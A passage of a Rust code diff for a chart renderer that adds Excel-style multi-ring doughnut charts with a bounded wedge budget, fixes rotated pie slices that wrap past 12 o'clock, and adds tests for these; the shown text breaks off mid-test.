use kinds::{box_whisker, doughnut, funnel, histogram, pie, radar, stock, treemap, waterfall};
|
||||
use legend::draw_legend;
|
||||
pub use legend::{Swatch, legend_entries};
|
||||
pub use trend::supports_trendline;
|
||||
@@ -44,6 +44,11 @@ const MAX_LINE_PTS: usize = 2000;
|
||||
const MAX_MARKERS: usize = 5000;
|
||||
/// Data labels are skipped when a series has more points than this.
|
||||
const MAX_LABELS: usize = 200;
|
||||
/// Most wedges a doughnut draws for the whole chart. The per-series and per-category limits do not
|
||||
/// bound their product: 255 series of 20,000 categories would be millions of wedges. Every drawable
|
||||
/// ring shares this budget, so the innermost ring keeps its largest slices and the outer rings are
|
||||
/// capped instead of the chart dropping rings wholesale.
|
||||
pub(crate) const MAX_WEDGES: usize = 2_048;
|
||||
|
||||
struct Ctx<'a> {
|
||||
out: Vec<Prim>,
|
||||
@@ -153,7 +158,7 @@ fn draw_kind(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
|
||||
use ChartKind::*;
|
||||
match chart.kind {
|
||||
Pie => pie(ctx, chart, data, area, 0.0, false),
|
||||
Doughnut => pie(ctx, chart, data, area, 0.5, false),
|
||||
Doughnut => doughnut(ctx, chart, data, area),
|
||||
Sunburst => pie(ctx, chart, data, area, 0.2, true),
|
||||
Treemap => treemap(ctx, chart, data, area),
|
||||
Funnel => funnel(ctx, chart, data, area),
|
||||
|
||||
@@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let mut row = Vec::with_capacity(ncat);
|
||||
for j in 0..ncat {
|
||||
// A series without values has no spans: 255 empty series over 20,000 categories would
|
||||
// otherwise fill ~5 million entries.
|
||||
let n = if s.values.is_empty() { 0 } else { ncat };
|
||||
let mut row = Vec::with_capacity(n);
|
||||
for j in 0..n {
|
||||
let v = s.values.get(j).copied().flatten();
|
||||
let span = match (si.and_then(|p| stacks.get_mut(p)), fam) {
|
||||
(Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| {
|
||||
@@ -450,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
|
||||
}
|
||||
draw_trend_labels(ctx, plot, &trend_labels);
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn empty_series_get_no_span_entries() {
|
||||
let empty = SeriesData::default();
|
||||
let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() };
|
||||
let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() };
|
||||
let fams = [Fam::Col; 3];
|
||||
let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS);
|
||||
assert_eq!(spans.iter().map(Vec::len).collect::<Vec<_>>(), [0, MAX_CATS, 0]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range};
|
||||
use super::legend::{cat_label, point_color};
|
||||
use super::{
|
||||
AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, Prim, QuartileMethod, STOCK, SeriesData,
|
||||
TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
|
||||
AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, MAX_SERIES, MAX_WEDGES, Prim,
|
||||
QuartileMethod, Rgba, STOCK, SeriesData, TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------- histogram
|
||||
@@ -163,6 +163,66 @@ pub(super) fn funnel(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
|
||||
|
||||
// ---------------------------------------------------------------- pie, doughnut, sunburst
|
||||
|
||||
/// At most `cap` of the largest values, in category order. When a ring has more categories than
|
||||
/// its share of the wedge budget allows, the big slices survive rather than the first ones.
|
||||
fn largest_slices(vals: &[f64], cap: usize) -> Vec<(usize, f64)> {
|
||||
let mut idx: Vec<usize> = (0..vals.len()).collect();
|
||||
if idx.len() > cap {
|
||||
// Partition descends by value, so the first `cap` entries are the largest ones.
|
||||
idx.select_nth_unstable_by(cap - 1, |a, b| vals[*b].total_cmp(&vals[*a]));
|
||||
idx.truncate(cap);
|
||||
idx.sort_unstable();
|
||||
}
|
||||
idx.into_iter().map(|j| (j, vals[j])).collect()
|
||||
}
|
||||
|
||||
/// One ring's geometry and separator stroke: the slices of a ring differ only in angle and colour.
|
||||
struct Ring {
|
||||
cx: f32,
|
||||
cy: f32,
|
||||
outer: f32,
|
||||
inner: f32,
|
||||
stroke: Option<(Rgba, f32)>,
|
||||
}
|
||||
|
||||
/// A wedge of `ring`, split at 12 o'clock when it crosses the end of the circle.
|
||||
fn wedge(ctx: &mut Ctx, ring: &Ring, a0: f32, sweep: f32, fill: Rgba) {
|
||||
let Ring { cx, cy, outer, inner, stroke } = *ring;
|
||||
if sweep <= 1e-4 {
|
||||
return;
|
||||
}
|
||||
// A slice that starts past 12 o'clock still has to be split against 12 o'clock, not against
|
||||
// its unwrapped start: otherwise the half after TAU is drawn from 0 over its neighbours.
|
||||
let a0 = a0.rem_euclid(TAU);
|
||||
let a1 = a0 + sweep;
|
||||
if a1 <= TAU {
|
||||
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1, fill, stroke });
|
||||
return;
|
||||
}
|
||||
// The halves are filled without a stroke: each would outline its own radial edge at 12
|
||||
// o'clock, painting the white separator straight through the slice.
|
||||
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1: TAU, fill, stroke: None });
|
||||
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0: 0.0, a1: a1 - TAU, fill, stroke: None });
|
||||
if let Some((color, width)) = stroke {
|
||||
// One outline for the whole slice: the outer and inner arcs run through 12 o'clock, and
|
||||
// the two radial edges at the slice's own start and end close the path.
|
||||
let arc = |r: f32, from: f32, to: f32| -> Vec<[f32; 2]> {
|
||||
let steps = ((r.abs() * (to - from).abs() / 2.0).ceil() as usize).clamp(4, 512);
|
||||
let at = |a: f32| [cx + r * a.sin(), cy - r * a.cos()];
|
||||
(0..=steps).map(|k| at(from + (to - from) * k as f32 / steps as f32)).collect()
|
||||
};
|
||||
let mut pts = arc(outer, a0, a1);
|
||||
if inner > 0.0 {
|
||||
pts.extend(arc(inner, a1, a0));
|
||||
} else {
|
||||
pts.push([cx, cy]);
|
||||
}
|
||||
let start = pts[0];
|
||||
pts.push(start);
|
||||
ctx.out.push(Prim::Line { pts, color, width, dash: false });
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inner: f32, names: bool) {
|
||||
let Some(s) = data.series.first() else { return };
|
||||
let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
|
||||
@@ -176,14 +236,15 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
|
||||
return;
|
||||
}
|
||||
let ri = r * inner;
|
||||
let ring = Ring { cx, cy, outer: r, inner: ri, stroke: Some((WHITE, 1.5)) };
|
||||
let f = Fmt::new(&s.number_format);
|
||||
let mut a = 0.0f32;
|
||||
let mut a = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
|
||||
let mut labels = Vec::new();
|
||||
for (j, v) in vals.iter().enumerate() {
|
||||
let sweep = (*v / total) as f32 * TAU;
|
||||
if sweep > 1e-4 {
|
||||
let fill = point_color(data, j);
|
||||
ctx.out.push(Prim::Wedge { cx, cy, r_outer: r, r_inner: ri, a0: a, a1: (a + sweep).min(TAU), fill, stroke: Some((WHITE, 1.5)) });
|
||||
wedge(ctx, &ring, a, sweep, fill);
|
||||
if (chart.data_labels || names) && vals.len() <= MAX_LABELS {
|
||||
let t = if names { cat_label(data, j) } else { f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None) };
|
||||
let mid = a + sweep / 2.0;
|
||||
@@ -201,14 +262,89 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
|
||||
}
|
||||
}
|
||||
|
||||
/// Excel's doughnut: every series is one concentric ring, the first series innermost (measured in
|
||||
/// Excel: ring outer radii ≈0.83, 0.92 and 1.0 of the plot radius for series 1, 2 and 3). The hole
|
||||
/// size and first slice angle come from the chart; each ring is scaled to its own total.
|
||||
pub(super) fn doughnut(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
|
||||
let nser = data.series.len().min(MAX_SERIES);
|
||||
if nser == 0 {
|
||||
return;
|
||||
}
|
||||
let (cx, cy) = (area.cx(), area.cy());
|
||||
let r = area.w.min(area.h) / 2.0 * 0.92;
|
||||
if r < 2.0 {
|
||||
return;
|
||||
}
|
||||
let hole = f32::from(chart.hole_size.clamp(10, 90)) / 100.0;
|
||||
let ri = r * hole;
|
||||
let thick = (r - ri) / nser as f32;
|
||||
// A ring thinner than a pixel would vanish. Rather than suppressing the whole chart when there
|
||||
// are more series than the annulus has pixels, keep the outer rings at one pixel each and drop
|
||||
// the innermost series that no longer fit: Excel's order makes the first series the innermost,
|
||||
// so the outermost rings are the ones worth keeping.
|
||||
let band = thick.max(1.0);
|
||||
let start = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
|
||||
// Only rings with a pixel of band are drawn, and the wedge budget is shared across them in
|
||||
// drawing order: the innermost ring (the first series) gets its slices first, and the outer
|
||||
// rings are capped instead of the series × category product growing without bound.
|
||||
let rings: Vec<(&SeriesData, f32, f32)> = data
|
||||
.series
|
||||
.iter()
|
||||
.take(nser)
|
||||
.enumerate()
|
||||
.filter_map(|(si, s)| {
|
||||
let outer = (r - (nser - 1 - si) as f32 * band).min(r);
|
||||
let inner = (r - (nser - si) as f32 * band).max(ri);
|
||||
(outer - inner >= 1.0).then_some((s, outer, inner))
|
||||
})
|
||||
.collect();
|
||||
let mut budget = MAX_WEDGES;
|
||||
let mut labels = Vec::new();
|
||||
for (k, (s, outer, inner)) in rings.iter().enumerate() {
|
||||
// The white separator is 1.5 units wide, wider than a one-pixel band: on a thin ring it
|
||||
// would paint over the fill of this ring and its neighbour, so such rings keep only fill.
|
||||
let stroke = if outer - inner > 1.0 { Some((WHITE, 1.5)) } else { None };
|
||||
let ring = Ring { cx, cy, outer: *outer, inner: *inner, stroke };
|
||||
let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
|
||||
let cap = (budget / (rings.len() - k)).max(1);
|
||||
let slices = largest_slices(&vals, cap);
|
||||
let total: f64 = slices.iter().map(|(_, v)| *v).sum();
|
||||
if !(total.is_finite() && total > 0.0) {
|
||||
continue;
|
||||
}
|
||||
let n = slices.len();
|
||||
budget = budget.saturating_sub(n);
|
||||
let f = Fmt::new(&s.number_format);
|
||||
let mut a = start;
|
||||
for (j, v) in slices {
|
||||
let sweep = (v / total) as f32 * TAU;
|
||||
if sweep > 1e-4 {
|
||||
let fill = point_color(data, j);
|
||||
wedge(ctx, &ring, a, sweep, fill);
|
||||
if chart.data_labels && n <= MAX_LABELS {
|
||||
let t = f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None);
|
||||
let mid = a + sweep / 2.0;
|
||||
let rr = (outer + inner) / 2.0;
|
||||
if ctx.tw(&t, LABEL_SIZE) <= (sweep * rr).max(outer - inner) && sweep * rr >= LABEL_SIZE {
|
||||
labels.push((cx + rr * mid.sin(), cy - rr * mid.cos(), t, on(fill)));
|
||||
}
|
||||
}
|
||||
}
|
||||
a += sweep;
|
||||
}
|
||||
}
|
||||
for (x, y, t, c) in labels {
|
||||
ctx.text(x, y, &t, LABEL_SIZE, c, (HAlign::Center, VAlign::Middle));
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- treemap
|
||||
|
||||
fn worst(row: &[f64], side: f64) -> f64 {
|
||||
let s: f64 = row.iter().sum();
|
||||
/// Worst aspect ratio of a row with the given sum, smallest and largest area.
|
||||
fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 {
|
||||
if s <= 0.0 || side <= 0.0 {
|
||||
return f64::INFINITY;
|
||||
}
|
||||
let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v)));
|
||||
let s2 = s * s;
|
||||
let w2 = side * side;
|
||||
(w2 * mx / s2).max(s2 / (w2 * mn))
|
||||
@@ -225,6 +361,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
|
||||
let mut out = Vec::with_capacity(items.len());
|
||||
let mut rem = r;
|
||||
let mut row: Vec<(usize, f64)> = Vec::new();
|
||||
// The row's sum, smallest and largest area, kept as items join so each step is O(1).
|
||||
let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64);
|
||||
let mut i = 0;
|
||||
let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| {
|
||||
let s: f64 = row.iter().map(|x| x.1).sum();
|
||||
@@ -256,15 +394,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
|
||||
while let Some(&(j, v)) = items.get(i) {
|
||||
let a = v * scale;
|
||||
let side = rem.w.min(rem.h) as f64;
|
||||
let cur: Vec<f64> = row.iter().map(|x| x.1).collect();
|
||||
let mut with = cur.clone();
|
||||
with.push(a);
|
||||
if row.is_empty() || worst(&with, side) <= worst(&cur, side) {
|
||||
if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) {
|
||||
row.push((j, a));
|
||||
(sum, mn, mx) = (sum + a, mn.min(a), mx.max(a));
|
||||
i += 1;
|
||||
} else {
|
||||
layout(&row, &mut rem, &mut out);
|
||||
row.clear();
|
||||
(sum, mn, mx) = (0.0, f64::INFINITY, 0.0);
|
||||
}
|
||||
}
|
||||
if !row.is_empty() {
|
||||
@@ -279,6 +416,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
|
||||
s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect();
|
||||
items.sort_by(|a, b| b.1.total_cmp(&a.1));
|
||||
let f = Fmt::new(&s.number_format);
|
||||
let value_of: std::collections::HashMap<usize, f64> = items.iter().copied().collect();
|
||||
for (j, b) in squarify(&items, area) {
|
||||
let fill = point_color(data, j);
|
||||
ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5)));
|
||||
@@ -286,7 +424,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
|
||||
let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0);
|
||||
ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
|
||||
if chart.data_labels && b.h > LABEL_SIZE * 3.2 {
|
||||
let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0);
|
||||
let v = value_of.get(&j).copied().unwrap_or(0.0);
|
||||
let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0);
|
||||
ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
|
||||
}
|
||||
|
||||
@@ -42,6 +42,8 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa
|
||||
return vec![];
|
||||
}
|
||||
match chart.kind {
|
||||
// Pie, doughnut (Excel's default `varyColors=1`, so every ring repeats the category colours
|
||||
// and the legend names categories rather than series), treemap and sunburst.
|
||||
ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst => {
|
||||
let n = first_len(data).min(MAX_CATS);
|
||||
(0..n).map(|j| (cat_label(data, j), point_color(data, j), Swatch::Box)).collect()
|
||||
|
||||
+318
-1
@@ -48,6 +48,8 @@ fn chart(kind: ChartKind) -> Chart {
|
||||
data_table: None,
|
||||
gridlines: true,
|
||||
style: 0,
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
x_title: Some("Quarter".into()),
|
||||
y_title: Some("Revenue".into()),
|
||||
source: None,
|
||||
@@ -149,6 +151,317 @@ fn every_kind_renders_sanely() {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_draws_each_series_as_a_ring() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.hole_size = 25;
|
||||
c.first_slice_angle = 0;
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B", "C"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![
|
||||
series("Inner", &[1.0, 2.0, 3.0], [20, 96, 130, 255], ChartKind::Doughnut),
|
||||
series("Middle", &[3.0, 2.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
|
||||
series("Outer", &[1.0, 1.0, 1.0], [89, 161, 79, 255], ChartKind::Doughnut),
|
||||
],
|
||||
};
|
||||
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
|
||||
let wedges: Vec<(f32, f32, f32)> = prims
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { r_outer, r_inner, a0, .. } => Some((*r_outer, *r_inner, *a0)),
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
assert_eq!(wedges.len(), 9, "three rings of three slices");
|
||||
// Excel draws the first series as the innermost ring; the hole is 25% of the radius.
|
||||
assert!(wedges[0].0 < wedges[3].0 && wedges[3].0 < wedges[6].0, "{wedges:?}");
|
||||
assert!(wedges[0].1 > 0.0, "hole: {wedges:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_with_many_series_still_draws_the_outer_rings() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.hole_size = 75;
|
||||
// The annulus is a few dozen pixels tall and there are far more series than pixels, so every
|
||||
// ring is thinner than 1 px. The chart used to draw nothing at all.
|
||||
let many = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
|
||||
};
|
||||
let single = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
// Two series, so the title fallback (a lone series names the chart) does not shrink the plot.
|
||||
series: vec![
|
||||
series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
|
||||
series("Other", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
|
||||
],
|
||||
};
|
||||
let (w, h) = (640.0, 400.0);
|
||||
let radii = |d: &ChartData| -> Vec<f32> {
|
||||
render(&c, d, w, h, &ApproxMeasure)
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { r_outer, .. } => Some(*r_outer),
|
||||
_ => None,
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
let outer = radii(&many);
|
||||
assert!(!outer.is_empty(), "a sub-pixel ring must not suppress the whole chart");
|
||||
let mut distinct = outer.clone();
|
||||
distinct.sort_by(f32::total_cmp);
|
||||
distinct.dedup();
|
||||
assert!(distinct.len() > 8, "only {} rings drawn", distinct.len());
|
||||
assert!(distinct.len() < 255, "too many rings for the pixels available: {}", distinct.len());
|
||||
// The outermost ring still reaches the plot radius the single-ring chart uses.
|
||||
let r = radii(&single).into_iter().fold(0.0f32, f32::max);
|
||||
let drawn = distinct.last().copied().unwrap_or(0.0);
|
||||
assert!((drawn - r).abs() < 0.01, "outermost ring {drawn} of {r}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_one_pixel_rings_skip_the_separator_stroke() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.hole_size = 75;
|
||||
// 255 series over a 46-pixel annulus: every drawn ring is one pixel tall, narrower than the
|
||||
// 1.5-pixel white separator, which would otherwise paint over both neighbouring rings.
|
||||
let thin = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
|
||||
};
|
||||
let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thin, 640.0, 400.0, &ApproxMeasure)
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { stroke, .. } => Some(*stroke),
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
assert!(!strokes.is_empty(), "the chart must still draw its rings");
|
||||
assert!(strokes.iter().all(Option::is_none), "a 1.5px stroke covers a 1px band: {strokes:?}");
|
||||
|
||||
// A ring with room for the separator keeps it.
|
||||
let thick = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![
|
||||
series("Inner", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
|
||||
series("Outer", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
|
||||
],
|
||||
};
|
||||
let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thick, 640.0, 400.0, &ApproxMeasure)
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { stroke, .. } => Some(*stroke),
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
assert!(!strokes.is_empty());
|
||||
assert!(strokes.iter().all(Option::is_some), "wide rings keep their separators: {strokes:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_wedge_budget_bounds_many_series_and_categories() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.hole_size = 75;
|
||||
c.first_slice_angle = 0;
|
||||
// 20,000 categories across 80 series would be hundreds of thousands of wedges: the per-series
|
||||
// limit does not bound the product. The first ten categories of every ring are the largest.
|
||||
let cats = 20_000usize;
|
||||
let values: Vec<f64> = (0..cats).map(|j| if j < 10 { 1000.0 } else { 1.0 }).collect();
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: (0..cats).map(|j| format!("C{j}")).collect(),
|
||||
series: (0..80)
|
||||
.map(|i| SeriesData { name: format!("S{i}"), values: values.iter().map(|v| Some(*v)).collect(), ..SeriesData::default() })
|
||||
.collect(),
|
||||
};
|
||||
let wedges: Vec<(f32, f32)> = render(&c, &d, 640.0, 400.0, &ApproxMeasure)
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { r_outer, a0, a1, .. } => Some((*r_outer, *a1 - *a0)),
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
assert!(!wedges.is_empty(), "the innermost ring must still be drawn");
|
||||
let mut radii: Vec<f32> = wedges.iter().map(|(r, _)| *r).collect();
|
||||
radii.sort_by(f32::total_cmp);
|
||||
radii.dedup();
|
||||
assert!(radii.len() > 1, "every drawable ring is capped, not dropped");
|
||||
// A slice crossing 12 o'clock is split into two primitives, so each ring may add one.
|
||||
let budget = crate::render::MAX_WEDGES + radii.len();
|
||||
assert!(wedges.len() <= budget, "{} wedges for {} rings", wedges.len(), radii.len());
|
||||
|
||||
// The first (innermost) ring keeps its largest slices and still fills the circle.
|
||||
let inner: Vec<f32> = wedges.iter().filter(|(r, _)| *r == radii[0]).map(|(_, a)| *a).collect();
|
||||
assert!(inner.len() < cats, "the ring was not capped: {}", inner.len());
|
||||
assert_eq!(inner.iter().filter(|a| **a > 0.1).count(), 10, "largest slices went missing");
|
||||
let cover: f32 = inner.iter().sum();
|
||||
assert!((cover - std::f32::consts::TAU).abs() < 0.01, "first ring covers {cover}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_first_slice_angle_rotates_the_start() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.first_slice_angle = 90;
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)],
|
||||
};
|
||||
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
|
||||
let first = prims.iter().find_map(|p| match p {
|
||||
Prim::Wedge { a0, .. } => Some(*a0),
|
||||
_ => None,
|
||||
});
|
||||
assert!(first.is_some_and(|a| (a - std::f32::consts::FRAC_PI_2).abs() < 0.01), "{first:?}");
|
||||
}
|
||||
|
||||
/// Every slice must occupy exactly its angular share, even when the first slice angle pushes the
|
||||
/// start past 12 o'clock (the split at TAU used to put whole slices over their neighbours).
|
||||
#[test]
|
||||
fn rotated_wedges_cover_each_slice_once_without_overlap() {
|
||||
const TAU: f32 = std::f32::consts::TAU;
|
||||
for kind in [ChartKind::Doughnut, ChartKind::Pie] {
|
||||
for angle in [180u16, 270] {
|
||||
let mut c = chart(kind);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.first_slice_angle = angle;
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
|
||||
categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![series("Only", &[1.0; 4], [20, 96, 130, 255], kind)],
|
||||
};
|
||||
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
|
||||
let wedges: Vec<(f32, f32)> = prims
|
||||
.iter()
|
||||
.filter_map(|p| match p {
|
||||
Prim::Wedge { a0, a1, .. } => Some((*a0, *a1)),
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
assert!(wedges.len() >= 4, "{kind:?} at {angle}: {wedges:?}");
|
||||
for (a0, a1) in &wedges {
|
||||
assert!((0.0..TAU).contains(a0), "{kind:?} at {angle}: start {a0} outside [0, TAU)");
|
||||
assert!(*a1 > *a0 && *a1 <= TAU + 1e-4, "{kind:?} at {angle}: bad sweep {a0}..{a1}");
|
||||
}
|
||||
// Sample away from the boundaries: a correct four-slice chart covers every angle once.
|
||||
let steps = 1440;
|
||||
for k in 0..steps {
|
||||
let theta = (k as f32 + 0.5) * TAU / steps as f32;
|
||||
let cover = wedges.iter().filter(|(a0, a1)| theta >= *a0 && theta < *a1).count();
|
||||
assert_eq!(cover, 1, "{kind:?} at {angle}: {theta} covered {cover} times by {wedges:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A slice that crosses 12 o'clock is filled as two halves but outlined once: stroking each half
|
||||
/// separately ran the white separator along the shared radial edge, straight through the slice.
|
||||
#[test]
|
||||
fn slice_crossing_twelve_has_no_internal_seam() {
|
||||
const TAU: f32 = std::f32::consts::TAU;
|
||||
let mut c = chart(ChartKind::Pie);
|
||||
c.title = None;
|
||||
c.legend = LegendPos::None;
|
||||
c.data_labels = false;
|
||||
c.first_slice_angle = 90;
|
||||
let a = [230, 126, 34, 255];
|
||||
let b = [39, 174, 96, 255];
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![a, b],
|
||||
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![series("Only", &[1.0, 1.0], a, ChartKind::Pie)],
|
||||
};
|
||||
let (w, h) = (400u32, 400u32);
|
||||
let prims = render(&c, &d, w as f32, h as f32, &ApproxMeasure);
|
||||
// The second slice starts at 270° and wraps past 0°, so it is drawn as two unstroked halves.
|
||||
let mut halves = 0;
|
||||
let mut cx = 0.0;
|
||||
let mut cy = 0.0;
|
||||
let mut r = 0.0;
|
||||
for p in &prims {
|
||||
if let Prim::Wedge { cx: x, cy: y, r_outer, a0, a1, fill, stroke, .. } = p
|
||||
&& *fill == b
|
||||
{
|
||||
assert!(stroke.is_none(), "a split half must not stroke its shared edge: {p:?}");
|
||||
assert!(*a0 == 0.0 || *a1 == TAU, "the crossing slice is split at 12 o'clock: {p:?}");
|
||||
halves += 1;
|
||||
(cx, cy, r) = (*x, *y, *r_outer);
|
||||
}
|
||||
}
|
||||
assert_eq!(halves, 2, "one slice crosses 12 o'clock");
|
||||
// Exactly one outline covers the whole crossing slice, drawn as line primitives.
|
||||
assert_eq!(prims.iter().filter(|p| matches!(p, Prim::Line { color, .. } if *color == [255, 255, 255, 255])).count(), 1, "{prims:?}");
|
||||
// No white pixel inside the slice along 12 o'clock, where the shared edge used to be stroked.
|
||||
let img = rasterize(&prims, w, h, [255, 255, 255, 255]);
|
||||
for t in [0.3f32, 0.5, 0.7] {
|
||||
